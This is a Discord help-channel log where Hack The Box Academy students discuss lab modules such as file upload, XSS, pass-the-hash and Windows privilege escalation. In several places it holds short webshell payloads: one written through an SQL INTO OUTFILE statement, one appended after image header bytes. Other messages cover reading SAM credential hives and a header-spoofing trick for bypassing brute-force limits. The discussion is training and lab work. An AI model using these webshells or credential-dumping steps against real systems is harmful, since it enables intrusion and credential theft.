#modules

1 messages · Page 183 of 1

fathom pendant
#

If it's in context of a command then there'll be a command surround it

wintry pine
#

Thank you so much! That is changing how I understand the material as a read it. thats an unlock for me.

fathom pendant
#

Most modern tools use -p to denote the port, with netcat, -p is used to denote the port binding on your system i.e. connecting to a target from your machine's specific port

tidal kelp
#

shout-out to @pine dagger without him, i can't finish Whitebox 101 module

fathom pendant
#

sudo nc -p 53 ip port will bind port 53 as your connection port to the target port

wintry pine
#

🤯

fathom pendant
#

Whereas ssh user@ip -p port means you're using ssh to connect to a target on that port (without -p, the port is implied default)

wintry pine
#

ahh - originally when I tried to answer the question I was thinking I needed to use this function - but first had to somehow find out how to gain the User info.

fathom pendant
#

nope since netcat was discussed in this section; that's what they're expecting you to use

worldly patrol
#

Anyone completed Advanced XSS and CSRF module

safe marsh
#

Hi community,

I'm having trouble with the "WINDOWS EVENT LOGS & FINDING EVIL: Tapping Into ETW" module lab.

SilkETW can't collect PID Parent Spoofing activity. I already executed it three times, no activity logged in etw.json file. The Process ID of spoolsv.exe is not searchable.

Did anybody experience this? Thanks.

potent ermine
safe marsh
safe dock
#

Guys do we have to follow the order to access the next box in season 4 challenge

thorn urchin
safe marsh
#

I did different approach. I used the search PRINT command in chainsaw and got the same output. As fas as I know, it's already in UTC 2019-03-17T19:30:30.324836Z and I'm stuck right now 😅

The question did not mention to convert the time in UTC either. How did you get the correct time?

manic lantern
#

Took me a few tries though kek I had to adjust by -8 hours.

ivory tide
#

Hi Hi, any moderator or administrator around? I can't seem to identify my htb account

autumn pilot
#

I didn't expect to be saying this, but please be mindful when someone reaches out to you in DMs asking to verify the approach of solving an exercise, e.g., compare notes, etc. Consider if he wants to understand the exercise or get your notes to get the flag at the end. Thank you. Remember, you've put effort into understanding the topics and the exercises.

fathom pendant
manic lantern
placid edge
#

whenever i ask for sanity cheks the first message should be: what have i tried, what domains/subdomains have i found, what ports have i found ect

#

so i can get a clear view of if i am missing something early on

#

this way i dont ask for payloads, but more of missing piece of information and i get actually get a sanity check for missing information or if i just cant get the exploit chain working

fathom pendant
#

I.e. not all hashes need to be cracked

placid edge
#

pth?

fathom pendant
#

Yep

#

It's easy to think though "well I got a hash, can I crack it?"

#

When, with windows, the NT hash is as good as a password

placid edge
#

ill admit, that before i started the ad module, i was one of them

fathom pendant
#

Well because you just spent a module all about cracking hashes and passwords

#

And some pth

placid edge
#

more about all i've done before the cpts module is linux machines, and its usually crack the hash

#

windows has opened my eyes lol

last scarab
#

Hi ! I come here to search for help about the monitored Room, is it the right place to ask for help ?

last scarab
fathom pendant
#

Aka generally the first place to look when joining any server

sinful olive
#

Module: **WINDOWS PRIVILEGE ESCALATION ** - Miscellaneous Techniques
I don't understand the module - Cannot change the Always Install Elevated
settings - when I try to access Local Group Policy - I get access denied. How am I suppose to change the settings then? It is the first step..
Thanks!

next bronze
open mica
#

I’ve just started the senior web penetration tester path. What is the preferred method of providing feedback on any modules (either for tips to improve content or to report errors?)

silver iris
#

In the "Attacking Common Services - Skill Assesment easy",|| i found the flag using "select LOAD_FILE ...", but wasnt able to get a webshell.
For the webshell i tried somehting like "SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/xampp/webshell.php'" for a PoC, like mentioned in the module. The command executed with no errors, but the directory stays empty and when going to the path, i get "not found". Anyone an idea why?||

fathom pendant
fathom pendant
#

Write manually

quick crane
#

bro now I have a same problem I need your help,can I dm you

fathom pendant
#

Rewriting things in your own words is proven to improve retention

quick magnet
#

hi i have problem in Out-of-Band DNS
section, find flag but not full flag its weird

silver iris
fathom pendant
#

It's something you can google

rapid hollow
#

hello

strange spindle
#

I'm struggling to understand the reasoning behind and the concept of unmanaged PowerShell injection after reading the module several times over.

Is the point of this technique so that attackers can avoid detection by injecting powershell.exe into unmanaged processes so that arbitrary code execution can take place (through PowerShell) under the guise of legitimate processes?

past scaffold
#

hey, does the basic_bruteforce.py work on question2 in Broken Authentication: Weak Bruteforce Protections ??

surreal orchid
#

Hello

#

i've a problem in Footprints medium lab...
I try to get the important file but i have an error and can't figured it out 😦

analog dock
#

Mate you’re getting automodded lol

#

Stop trying to send it

surreal orchid
#

Well i don't know why xD

analog dock
#

Just ask your question

surreal orchid
#

btw :
i've a problem in Footprints medium lab...
I try to get the important file but i have an error and can't figured it out 😦
smb: > get important.txt
Error opening local file important.txt

#

(i'm logged on smb serv)

analog dock
#

What folder are you in on your host?

surreal orchid
#

I'm in devshare

analog dock
#

Your host

#

Not the smb share

surreal orchid
#

A custom folder on desktop (/home/kali/Desktop/HTB/test/)

fathom pendant
#

Weird

analog dock
#

Strange

fathom pendant
#

You can access that file via rdp anyway

analog dock
#

That too

#

But you’re using smbclient -U alex \\\\<ip>\\devshare ?

surreal orchid
#

i'm using : smbclient -U alex //<IP>/devshare

fathom pendant
analog dock
#

Should be the same

surreal orchid
#

yeah 😦

fathom pendant
#

rdp you can view the file ¯_(ツ)_/¯

analog dock
surreal orchid
analog dock
#

Gg embed

surreal orchid
#

Give me your computer

lusty thicket
surreal orchid
#

😄

past scaffold
#

i also tried to modify and change the value of this header after in every request, but it didn't work

lusty thicket
#

send a request with an authorizated x-forwarded header

#

😉

sinful olive
past scaffold
next bronze
strange spindle
# fathom pendant Yes

Good to know I'm on the right track at least.

So I'm under the belief that PowerShell (cmdlets...?) are in C#... therefore, that's why we look to see if clr.dll and clrjit.dll are running because the presence of them running together under an unmanaged process is a tell tale sign that Common Language Runtime, the runtime environment needed to process the PowerShell (C#) code, is present, which then indicates potential injection...?

fathom pendant
#

Thats something you can Google to find out

rustic sage
#

are there recommendations for things to do after completing htb getting started?

rustic sage
limber river
rustic sage
limber river
fathom pendant
rustic sage
#

behind vip

fathom pendant
#

Which is on the main labs site not academy, read #welcome to see how to access more of the server

rustic sage
#

identify doesn't work for some reason

fathom pendant
rustic sage
#

I have one

fathom pendant
#

then ig you gotta message a mod/admin to get it sorted ¯_(ツ)_/¯

#

Usually what messes with it is your dms being closed

#

Which you can temporarily switch it to allow from same server

rustic sage
#

here we go again

#

should I use the seriusbreakrule?

fathom pendant
#

<@&861185840277487616>

rustic sage
#

yep that one

fathom pendant
#

✨ Fuck off ✨

novel matrix
#

Lol they left

rustic sage
#

somethings never change

novel matrix
#

message deleted

fathom pendant
languid dawn
#

smh

fathom pendant
#

I think longest I've seen shit like that was ~10 minutes

rustic sage
#

it's so common in cibersecurity servers

fathom pendant
winged juniper
#

hey hackers

rustic sage
#

oh no

winged juniper
fathom pendant
winged juniper
fathom pendant
#

It looks like a connection was made so I see no issues

fathom pendant
#

Also this channel is for assistance with academy modules

#

Not some random shit you're doing

jagged prairie
#

in payloads and shells module, php shells section, last question, whatever php shell I upload it is just rendering as text, not sure what's preventing it from working properly

fathom pendant
#

What webshell are you using?

#

Did you upload it to the right place?

jagged prairie
#

I've tried with p0wnyshell and with wwwolf's PHP web shell listed in the text

fathom pendant
#

I was able to use wwwolf

rustic sage
#

I remember that module. I used wwwolf too. It should work

jagged prairie
#

I've definitely uploaded it to the right spot and it's just rendering as text

fathom pendant
#

Are you intercepting with burp?

jagged prairie
#

yeah I've done everything right as far as I'm aware, maybe I'll reset the lab

fathom pendant
#

Change content-type?

jagged prairie
#

yeah I've tried with a couple of image file types as well

#

the shell is being uploaded, it's just not executing, it's printing the code to the page

fathom pendant
jagged prairie
#

that's with image/gif, wwwolf, reset lab etc

#

no idea why it won't work

fathom pendant
#

I dont recall having issues tbh

jagged prairie
#

finally got it working with a much smaller cmd shell from revshells. weird

fathom pendant
#

it's likely you may have needed to slightly change something in the php ¯_(ツ)_/¯

next bronze
jagged prairie
#

nah i'm using TCP ¯_(ツ)_/¯

#

lol I figured it out, wget was adding a bunch of stuff to the start of the php files when I grabbed em from github, whoops

fathom pendant
#

kek just git clone it

next bronze
#

wget raw files only

fathom pendant
#

Also that

jagged prairie
#

lesson learned boiz

fathom pendant
#

All this sums up to : user error Kapp

molten prawn
#

hi

languid dawn
#

check the files you download sadglas

dull thistle
#

Module: OSINT: CORPORATE RECON
Section: Cloud Storage

I'm kind of stuck on finding the buckets name. I've tried the searchcode, grayhatwarfare & some Dorking but can't come up with anything when searching for several files.
Any tips?

supple gorge
dull thistle
supple gorge
dull thistle
#

And that's it really 😛 Some course content about searchcode, grayhatwarfare and google dorking

#

From the course content I think I'm supposed to search for the files somewhere

supple gorge
dull thistle
#

yea done all that but it's not obvious 😛

#

or I'm looking over something but I've been at it for 2 days now >.<

supple gorge
# dull thistle yea done all that but it's not obvious 😛

It's been a while... I just remember a ctf challenge where I had to mess with buckets.

We could see that it was reaching for it to fetch the images so we got the address. Then I think there were some websites that did stuff.

Or maybe I directly tried to connect to it with aws' management cli... But I didn't take good notes so I don't remember.

Well... Maybe someone can help better. Does it have something with the ffuf module?

tidal kelp
#

are there any ongoing issues right now? have a hard time trying ssh:ing to machines

supple gorge
dull thistle
tidal kelp
#

hmm maybe its just Linux priv esc then

dull thistle
#

I'm probably missing something obvious so someone who did it could push me into the right direction 😛

supple gorge
# dull thistle Nah it's OSINT and enumeration is not OSINT 😛

That's true.

Maybe some link on the webpage redirects to the subdomain.

If it's the same standard inland freight website that exists in the other modules... I could probably try to wrack my head with you.

All I have is will, the expertise is still not get there hehe

dull thistle
plain coral
limber river
#

can someone explain how snmpwalk dump all those strings , is it just reading OIDs or I am missing something ?

next bronze
lusty thicket
#

i thinkprayge

storm hedge
#

I'm doing the labs for the pivoring module and I'm unable to connect to the remote Ubuntu server

#

At least, it's extremely slow

dull thistle
next bronze
#

nope it's one of the main pages, just curl and grep

dull thistle
next bronze
#

go ahead

marsh echo
#

heyy anyone have an idea how by pass this problem even running powershell as administrator i can't see the hash from the SAM hive on windows11

tribal rover
#

did you manage to solve this? i am having the same issue, whereby i sanitized length and type and replaced with console.log

marsh echo
# next bronze what are you trying to run?

I'm trying to read the password hashes in a user's SAM table, should I read the nstd file directly? I'm trying to understand why even as an administrator I can't read the hashes.

#

cmd ```$registryPath = "HKLM:\SAM\SAM"
PS C:\WINDOWS\system32> try {

#
$registryItem = Get-Item -LiteralPath $registryPath


$registryProperties = Get-ItemProperty -LiteralPath $registryPath


$registryProperties

} catch {
Write-Host "Error: $_.Exception.Message"
}```

next bronze
#

the hives are locked on a live system, reg save first

marsh echo
#

is it possible to deactivate the protection to obtain the hash cache?

spring moon
#

Hi guys is there anyone have bad connection with the pwnbox? it's really slow and lagy for me when I connect

lethal mulch
spring moon
#

I tried to change the server still very slow

fathom pendant
#

Pwnbox has a bunch of different servers some may be closer and less Laggy AFAIK the pwnbox server list shows latency

spring moon
#

I picked the lowest one with latency UK then DE

fathom pendant
#

Could be your network

lethal mulch
#

Maybe it's time to switch to premiumMag_Creating_HTB_

next bronze
fathom pendant
fathom pendant
#

Ah this channel is regarding htb academy and modules

#

Not the main site

#

Also fwiw just set up your own vm

lethal mulch
marsh echo
marsh echo
#

I study reg save it’s cool thanks 🫡

fathom pendant
marsh echo
#

no it's not a module it was a question by chance because I was trying to access a registry but it was impossible for me to open it but thanks

fathom pendant
#

This channel is got academy modules, remember, so any other practice you should be looking at other channels to post

median kettle
#

anyone help me with the windows privilege escalation. im having trouble with my powershell

next bronze
#

meh i think asking related questions are fine

marsh echo
#

ah yes i'm sorry as I'm used to this channel I forgot who else had one

median kettle
#

trying to modify the druva powershell script to download a file to give me remote access but keep getting errors with the script

fathom pendant
novel zephyr
#

Please who has completed the penetration testing path and is ready to share 🥺my license expired

novel zephyr
fathom pendant
#

Don't call me dear

novel zephyr
fathom pendant
#

Second you don't subscribe to a path, do you mean like silver annual? Or the student one?

novel zephyr
floral condor
#

Module: CROSS-SITE SCRIPTING (XSS)
Section: PHISHING

Problem:
After injecting the XSS payload and check that page is displayed as intended, I verify the login form with a netcat listener but the LISTENER DOESN'T RECEIVE ANYTHING.

I browsed through Discord for similar problem, but it still doesn't work (port change, double quotes). What am I missing? Page displays as intended, maybe something is still missing in the XSS payload?

fathom pendant
#

Fuck off

#

<@&861185840277487616>

crimson urchin
#

ok how to contact htb i didnot receive 500 cubes this month i received only 300

compact patrolBOT
west rampart
#

Have you upgraded the subscription?

crimson urchin
#

yes i have upgraded the subscription

west rampart
#

This is why you got the difference. You probably upgraded it in your current billing cycle. You will receive the full amount in the next billing cycyle.

crimson urchin
#

but i have paid my amount for 500 cubes

west rampart
#

I bet you paid the difference 🙂 Let's find out if you submit a ticket

red whale
#

Hola

fathom pendant
red whale
crimson urchin
#

i cannot rise ticket from the academy

fathom pendant
#

If you can't see the support bubble, disable adblock

crimson urchin
#

i disabled it

fathom pendant
#

Pop-up blockers can also mess with it

crimson urchin
#

let me login throygh edge

fathom pendant
crimson urchin
#

ok now i got it

#

sent a message they didnot see yet

#

😦

fathom pendant
#

They're likely answering other requests too

floral condor
#

Unfortunately yes

#

Yes, I put my IP as http and nc listening to 80. The Payload work and the page is reflected clean, but still netcat doesn't intercept nothing when I try to login

fathom pendant
#

Careful just sharing the answers/methods

#

I recommend if you're gonna continue to take to dm (and delete these)

floral condor
fathom pendant
#

Yes

floral condor
#

Ok

fathom pendant
#

At it can still be considered a spoiler

#

I recommend you guys go to dms with this

solid python
#

Not the appropriate place to ask for issues with a VM or linux host

sleek moss
#

ok mybad

solid python
fathom pendant
#

Guys is gender neutral to mean multiple people

solid python
#

Let's knock it off with the thinly veiled transphobic comments

analog dock
pure sorrel
#

For Attacking Enterprise Networks: Exploitation & Privilege Escalation, I set up proxy chains and dynamic port forwarding, but the DNN keeps quitting on me. I can access the login page after waiting for a long time, and once it let me get past the login page but would not load the SQL console. In the ssh session I get messages "channel __: open failed: connect failed: temporary failure in name resolution"
As I get these messages, the page will still load but just slowly, it's just eventually I end up with a "connection has timed out" error

rustic sage
#

I have used this command: smtp-user-enum adding -w 20 and it has worked, after a few hours…

lofty wave
#

As an update to this. I just finished this module and the tool listed here shows the domain needed to answer the course flag. 🙃

vital adder
#

noice, glad my old message still help

solid python
#

The sacred texts prayge

lofty wave
#

Ya it was strange sublist3r wasn't consistent on listing the domain name. Had to run it 3 times before it would show up. The tool you mentioned works all the time. Along with the previous scans.

vital adder
floral condor
# floral condor Module: CROSS-SITE SCRIPTING (XSS) Section: PHISHING Problem: After injecting...

Just want to share what happened for the CROSS-SITE SCRIPTING (XSS) module and the PHISHING session in case someone else has problems receiving the request in the NETCAT LISTENER.

The payload was right, but I copied it from a code block in Obsidian. I identified this code block as JavaScript.

What happened is that when I grab the copy from there and paste it on site, it misinterprets the IP... Just as happened here, when I copied the command (now deleted because that was against the rules). When I copied the command here the IP final part changed, I didn't know why, but it was modified, like encoded.

As soon as I removed the code block type from the Obsidian note where the payload was copied... The netcat listener worked and received the request.

Man, for many this was easy but for a person without code block experience, this troubleshooting was a blast.

next bronze
#

obsidian doesn't encode anything, you probably copied the url from your browser which was encoded

fathom pendant
#

^

#

Browser likely encoded the %20 (spaces)

floral condor
#

Guys I made my homework to narrow down the problem. If I copy the command from the Obsidian JavaScript code block here on Discord, the IP will result as changed... Only the IP. If you let me do it you will see

#

I think there is some sort of meta data embedded when you copy a command from an Obsidian code block that you identify as that language. Because when I copy it from a code block WITHOUT ANY IDENTIFICATION it worked

next bronze
#

so discord is encoding the url then. I can tell you for a fact that obsidian doesn't change anything in codeblocks, if it does I will be using another app for notes

buoyant escarp
#

currently doing PasswordAttacks / SAM
i did the manual way, now tried with crackmapexec, crazy how fast it is using this tool instead of manual 😄

eager badger
#

Hello team, user & root flag doesnt submit on Surveillance Machine: "Incorrect flag"

fathom pendant
compact patrolBOT
eager badger
#

my bad

fathom pendant
#

@floral condor multi-line blocks are seen by discord as spam, you need to link your htb labs account to the discord to post them

floral condor
floral condor
fathom pendant
#

There's no Metadata type translation going on

pure sorrel
solid python
floral condor
#

Thanks

next bronze
fathom pendant
#

It's like copying colored output from terminal and being sad it doesn't paste colored as its just copying the underlying text

#

As the highlight is done on a separate layer/interpretation

solid python
#
Get-ChildItem -Path "C:\Users\Administrator\Desktop\Blah" -Filter *.json | ForEach-Object { Get-Content $_.FullName | Select-String -Pattern "goofygoober" } | ForEach-Object { $_.Line + "`n" }
#

Like so

floral condor
#

I guess you're right guys. I understand purpose of code-block, however I still don't understand why one worked and one not, by the way I unstuck and that is best part

fathom pendant
#

Skill issue. Maybe a slight difference

solid python
#

I've typoed payloads before

fathom pendant
solid python
fathom pendant
#

@oblique dove this is the better place to ask module questions btw

short gulch
#

I am stuck at "Practical Digital Forensics Scenario", I dont understand how on the basis of USN Journal I can find the process that created advanced_ip_scanner.exe

short gulch
solid python
#

These entries aren't sorted by time

short gulch
solid python
#

It does not

short gulch
solid python
short gulch
solid python
#

then you have to track the .zip

#

not the exe

short gulch
solid python
#

Well you already performed the needed steps to see that the .exe came from a .zip

#

just do the same to see where the .zip came from

short gulch
solid python
#

Unsure of what you're referring to

#

But I also can't say much without spoiling the answer

fathom pendant
#

you know that b come from a, now find a

steep loom
#

Hey man I am having the same problem and would love a hint if you figured it out 🙂

short gulch
alpine ridge
#

Hi would anyone be able to help me with Active Directory module skills assessment 1 last question, read flag on DC01 desktop. I have creds for machine but can’t get access to read the flag but I can dcsync and dump all hashes for users on the dc I’ve also tricked cme smb -x to read the file but nothing works

thorn urchin
alpine ridge
thorn urchin
#

Yes there is

lusty hearth
#

I am working through the CSP part right now and modifying my payload. I am able to use the iframe tag but cant find much use with it. any reading or section of the module you can suggest to help put me in the right direction?

alpine ridge
lusty hearth
#

will do

thorn urchin
alpine ridge
#

Done it was being stupid, thanks anyway

onyx canopy
#

Hi, I'm just getting started on the website- does completing sections in a module generally award additional cubes beyond the module reward? Or is it impossible to get a large amount of cubes without a subscription? I'm fine either way just wanna know what I'm getting into

acoustic owl
#

Each module shows you in advance how many cubes it costs and how many cubes you will get back.

onyx canopy
#

so you'd never get more cubes than you started with? fair enough

buoyant escarp
#

Nope

analog dock
#

Depends if you have the annual subscription

#

Then you earn cubes by finishing modules and don’t need to buy them individually

onyx canopy
#

mhm thanks

pure sorrel
# vital adder look into pivoting with tools such as look ligolo-ng but a standard ssh dynamic ...

Foxy proxy still doesn't work, I have ssh dynamic port forwarding running, I set the proxies in Firefox to manual: 127.0.0.1:8081 and my foxyproxy to the same. I've tried with both socks 4 and socks 5. I've also tried with procychains.conf file containing the same or without it. Is this just one of those "restart it until it works" times? Or is my configuration wrong? I've tried restarting a couple times

gray shoal
#

hello, i get this error after adding a group to the sudoers file, what to do? Warning: /etc/sudoers:25:24: Cmnd_Alias "NOPASSWD" referenced but not defined

dreamy solar
#

Hello everyone, I am doing the final exercise of this chapter: FILE UPLOAD ATTACKS, I managed to take all the information necessary to create a payload to create a reversed shell but I think I have a problem in my payload, could you help me?

#

����^@^PJFIF^@^A^A^A^A,^A,^@^@��^@dExif^@^@II*^@^H^@^@^@^B^@^N^A^B^@-^@^@^@&^@^>
<?php system($_REQUEST['cmd']);?>

lusty thicket
#

take a look at wikipedias list of file types

umbral fulcrum
#

hey guys, I have a Q on splukd
created a tarball, :
||splunk_shell/
splunk_shell/bin/
splunk_shell/bin/rev.py
splunk_shell/bin/run.bat
splunk_shell/bin/run.ps1
splunk_shell/default/
splunk_shell/default/inputs.conf||

in the ||rev.py|| I updated the IP & port, but I don't get a response from linux host, is there something I missed form the module?
https://academy.hackthebox.com/module/113/section/1213

hallow remnant
#

Module: Attacking Authentication Mechanisms
Section: Weak Public/Private Keys
https://academy.hackthebox.com/module/170/section/1674

The start of the section stipulates navigating to http://sp1.htb.net and logging in with credentials shared in the SAML section. However when I click on the "Login (Weak Public/Private Key)" hyperlink, I'm redirected to a "Metadata Not Found" page on idp1.htb.net (and never given an opportunity to enter any credentials (see screenshot below). I think I've made an administrative error of some kind in setting up the lab, but I'm not sure.

EDIT: resetting the lab twice got it working.

umbral fulcrum
mossy bison
#

can anyone help with the public exploits section in the getting started module, I can go over all ive done in dms and what exact step im stuck on, thanks!

fathom pendant
#

If it's nmap: getting you nowhere

hidden trellis
#

can anyone please help me with Advanced Deserialization Attacks - Example 1: JSON.. I have a payload but unable to get a shell

rustic sage
#

proxychains!!!

tight mesa
#

Hi there, is any HTB Moderator in the audience?, I'm trying to connect thru RDP to SeImpersonate and SeAssignPrimaryToken section Lab, but I' can't connect and getting a certificate error message

#

I rebooted the lab machine twice and same issue....

tepid portal
#

vv

slender harness
#

hey im new to hack the box and Im having trouble with my first lab: Documentation & Reporting.Im completely stuck on the first question: Connect to the testing VM using Xfreerdp and practice testing, documentation, and reporting against the target lab. Once the target spawns, browse to the WriteHat instance on port 443 and authenticate with the provided admin credentials. Play around with the tool and practice adding findings to the database to get a feel for the reporting tools available to us. Remember that all data will be lost once the target resets, so save any practice findings locally! Next, complete the in-progress penetration test. Once you achieve Domain Admin level access, submit the contents of the flag.txt file on the Administrator Desktop on the DC01 host.

#

I dont want the answer I just want to learn the steps to find it. I literally just learned u have to connect to the hub like super noobie ;-;

potent ermine
#

I haven't done this particular module yet, but did you connect to the target VM using xfreerdp already?

mossy bison
#

i was doing other work, but i was able to use nmap scans and got the service running on port 22 and did a search for some exploits for that service which was OpenSSH 8.4p1 Debian 5+deb11u1. All i could find was a sid exploit which is exploit/linux/http/sophos_utm_webadmin_sid_cmd_injection, there were a couple but this is the one i picked under sid but i picked this one i forgot why its been some hours since i was last on. when use the show options cmd im not sure what options i need to set. i know it says that any option that has yes needs to be set but i followed along with the section and just changed the RHOSTS and LHOST to what was shown and used check but got back an error. Am I using the wrong exploit search or am i supposed to find an ip to connect RHOSTS to and then keep LHOSTS tun0? Dm me with any helpful information thanks!

slender harness
#

[options] server[:port] [[options] server[:port] ...] I used this which i found on die.net

#

im like super new to everything since it isnt my major but im takin it as an elective

potent ermine
#

FYI, you can follow the same steps from the Pwnbox instance that uses Parrot

normal sand
#

Wasn't sure which channel to publish this question in but since it's nmap related, I figured this was appropriate.

While performing an Nmap scan against a host, Paola determines the existence of a firewall.
In an attempt to determine whether the firewall is stateful or stateless, which of the following options would be best to use?

A. -sA
B. -sX
C. -sT
D. -sF

#

I think it's -sT since it attempts to establish a full connection, which will help with determining whether the firewall is stateful or stateless. But I'd love to hear your answers.

slender harness
proper nacelle
#

Is anyone around to help with footprinting medium lab

misty current
#

Have you found the solution for this? If not, here is the way.

#

But was this asked as part of a lab exercise? 🤔 Afaik, it was just mentioned for own researching

tranquil axle
slender harness
next bronze
#

your class? you're doing HTBA in school?

tranquil axle
slender harness
tranquil axle
#

Well to finish the module you just have to write „Done“ I think, but if you actually wanna do the pentest Eeeeh

#

Oh nvm you do need the flag huh

next bronze
# slender harness save me ;-;

while it's great that you are doing that in school, documentation and reporting should absolutely not be the place to start if you're new, that module requires knowledge of all the previous modules, and is the second last module in the course. what is your instructor smoking?

slender harness
#

he made it due on saturday but every section is like 100+ words and word vomit

#

i dont htink imma enjoy the course

slender harness
#

im an IT and this is my first hacking course

tranquil axle
#

There are only a few modules that have this much text without Praxis questions, most of the other modules are way more hands on

slender harness
#

thank u for the hope

next bronze
#

I have no words other than your school should do better

slender harness
#

(they hate IT/Cybersecurity major)

#

they only give attention to med students or like compsci

tranquil axle
#

Is it possible for you to contact the instructor and ask about having to do the final question? Tell them you read the contents of the module and maybe practice a bit with the reporting tool and then tell them you don’t feel equipped to do the pentest yet with what you have learned so far

wild coyote
#

hi~

#

Brothers, is there any correlation? LD_PRELOADThe shooting range of environmental rights.

#

🥲

slender harness
tranquil axle
slender harness
#

Yeah everything was going so well I’m just stuck on the lab question

#

Like I went back and tried to figure out how to do the lab but the beginning talks about documenting ur findings

#

And like scenarios of losing your work and having like a backup ? It’s completely different from the lab imo

tranquil axle
#

yup. It is module number 27 of 28 of the CPTS path and it expects you to know the content of various other modules like the Active Directory Module or Password Attacks. What it wants you to do isn't hard, but if you don't have the knowledge from the other modules you will be lost pretty quickly

#

the Footprinting Lab you mentioned is module 4 of 28 of the CPTS path, that one you can do a lot easier without any previous knowledge

marble raft
#

Hi guys! If anyone needs help on the Stack-Based Buffer Overflows modules(Linux and Windows) or Assembly modules feel free to dm

latent glen
#

Okay I have to get something off my chest.

Hack the Box is INCREDIBLE! Truly, thank you guys!
The way the academy explains things, man if you concentrate and do the work, you WILL get better! Im by no means a beginner anymore but I always had issues with Sql Injections

#

and wow I finally fully get them, its an amazing feeling

#

rant over! MarioWooDance

#

@next bronze btw I didnt pass OSCP the other day. Fell 10 points short. it was super annoying cus I got the 3 single machines, didnt have bonus points and couldnt get into ws01 for the AD set of machines. Otherwise I believe I could've got a perfect score. Cus Academy has taught me AD quite well...

But we move. Trying again in march

next bronze
latent glen
#

absolutely, no doubt!

tidal kelp
#

Hi, can I DM you about this Injection Attacks skill assessment? I have tried HTML Injection in PDF Generators at comment but don't work. I would love to chat with you and get a nudge ideas off. Thanks

autumn mirage
#

hi folks,
is any third party service i can use to share my progress with employer with the link besides Student Transcript?

quick crane
#

can I dm you

gray shoal
#

hello, i joined the platform 3 days ago and allwys i have 0 / 1 spawns left, if i buy the 18 dollars a month subscription, will it sort the problem?
also, im normal to pay with paypal at the internet, will it be safe to put my card?

fathom pendant
#

If you buy any amount of cubes you get unlimited: I will also say, setting up your own virtual machine will be better

gray shoal
#

i dont what "setting up your own vm" means

fathom pendant
frosty spade
#

hello friends im currently stuck on the first question of the skills assessment of the intro to assembly can anyone point me towards how one can go about completing it im missing some thing maybe send me to some other learning resource with realivent info cause im completly lost

gray shoal
fathom pendant
gray shoal
#

the Vm is the window where i click start instance and then interact?

fathom pendant
#

Yes, you can download and install one on your system instead of using that

#

Virtualbox and VMware are popular for windows systems

gray shoal
#

i thought this window is simulating the "target" , if i want another window like that, i need to get into another use PC, no?

fathom pendant
#

There's a module called "Setting up" that walks through it

fathom pendant
fathom pendant
frosty spade
#

@next bronze Ive gotten prompt but it closes out on return tried sending it to provided box and it fails to load

gray shoal
#

now im doing "learning proccess" "getting started" and "linux fundamentals"

next bronze
fathom pendant
#

They are separate buttons with separate functions

gray shoal
sterile bane
#

Hlo

frosty spade
#

@next bronze this question is confusing the crap out of me the shellcodes ive extracted just pops a broken command prompt

fathom pendant
sterile bane
#

@frosty spade Can I DM you

fathom pendant
gray shoal
next bronze
fathom pendant
#

Green text

#

@gray shoal as an example

gray shoal
#

how to send screenshot here? prnt screen ctrl v doesnt work

fathom pendant
#

The learning process module doesn't have target interactive sections

#

So you may not see it

gray shoal
fathom pendant
#

The intro module explains the different section types

fathom pendant
#

It will be below the "spawn instance" window

#

The spawn target system button will ALWAYS be near the section questions

gray shoal
#

i had trouble because these are the instructions : Follow the steps below to complete this exercise.

Spawn your target!
Spawn My Workstation if you haven't done so.
From your workstation, open Firefox and browse to the target URL.
Answer the question below.

and the mozila firefox didnt apear for me, so i used chat gpt to give me a command to download it

#

i think i havent yet seen the spawn target system

fathom pendant
gray shoal
#

not relying on it but i ask question there sometime

#

like i ask here

fathom pendant
#

Also: is English your first language?

gray shoal
#

no

fathom pendant
#

Then that's why there's gonna be struggles

gray shoal
#

i speak english well tho

fathom pendant
#

You're not understanding the material. However.

frosty spade
#

@next bronze ive looped it ended with a seg fault extracted with gdb but the shell just gives be an empty prompt

fathom pendant
#

The workstation, "spawn instance" does in-fact have Firefox on it

frosty spade
#

xor [rdx], rbx
add rdx, 8
loop

fathom pendant
#

The spawn target button would be located below that window, right above the first question

gray shoal
#

how to send screenshots here?

fathom pendant
#

But it's likely you misunderstood what you need to do

#

Literally just scroll down to where the questions are

#

And click the green text there

gray shoal
#

but i answered the questions correctly

fathom pendant
#

Not the text that's detailing instructions in that section

fathom pendant
#

Then we're misunderstanding each other

#

You understand how to spawn and interact with targets, but there's a disconnect

#

The pwnbox. "Spawn Instance" is NOT the target

gray shoal
#

ok go on

frosty spade
#

@next bronze from the script? or from the gdp codes?

gray shoal
#

if i open mozilla firefox and join put the IP on the website line there, is it spawning a target?

gray shoal
next bronze
fathom pendant
#

The target is whatever IP is given to you when you click the Spawn target button

#

When you used the browser: that's just interacting with the target

frosty spade
#

@next bronze id does not contain any x0

next bronze
#

id?

fathom pendant
#

The target is already spawned before you put the ip in your browser

gray shoal
fathom pendant
gray shoal
#

i dont see this button anywhere

#

oh

frosty spade
#

@next bronze my code starts with 4831c05048bbe67

gray shoal
#

found it

#

it gave me an ip like you said

#

with that ip, what do i do?

next bronze
fathom pendant
#

Some targets will need you to authenticate to it via rdp/ssh if it's an ip:port generally they are interacted with via browser http://ip:port

#

However it's important to read the questions

gray shoal
#

thank you, ill continue

#

really thank you

fathom pendant
#

Usually you will be told to 'ssh to ip with "username" and "password"'

#

The questions give more context to what you're specifically meant to do

gray shoal
#

okay

#

ill keep looking and learning

#

is it safe to put my credit card then? in the website?

fathom pendant
#

Yes

gray shoal
#

thanks

fathom pendant
#

I've not had any mysterious charges from htb

#

And I bought cubes over a year ago

gray shoal
#

i think the silver subcsription will be enough for me

#

200 cubes every month and if i correctly understood we are being refunded for every module we finish no?

#

right?

fathom pendant
#

Only tier0 give all their cubes back

#

The rest give 20%

gray shoal
#

oh

#

ok ill buy cubes if i have, for now i need the unlimited spawns

fathom pendant
#

buying a monthly sub is cheaper in the long run ¯_(ツ)_/¯

gray shoal
#

yea just bought the 18 dollars monthly subscription

#

how do i cancel my membership if i want to?

fathom pendant
#

In the billing page, there's a button that says "cancel subscription"

gray shoal
#

found it

#

just wanted to make sure it exists ^^

gray shoal
fathom pendant
glossy flame
#

Anyone available to support me on the "Detecting Attacker Behavior With Splunk Based On Analytics", I am quite sure that I have the correct query although cant get into the answer. Maybe something small 🤔

steep crescent
#

HI I've started recently HTB academy, I'm unable to start the machine (Spawn machine)

dreamy solar
#

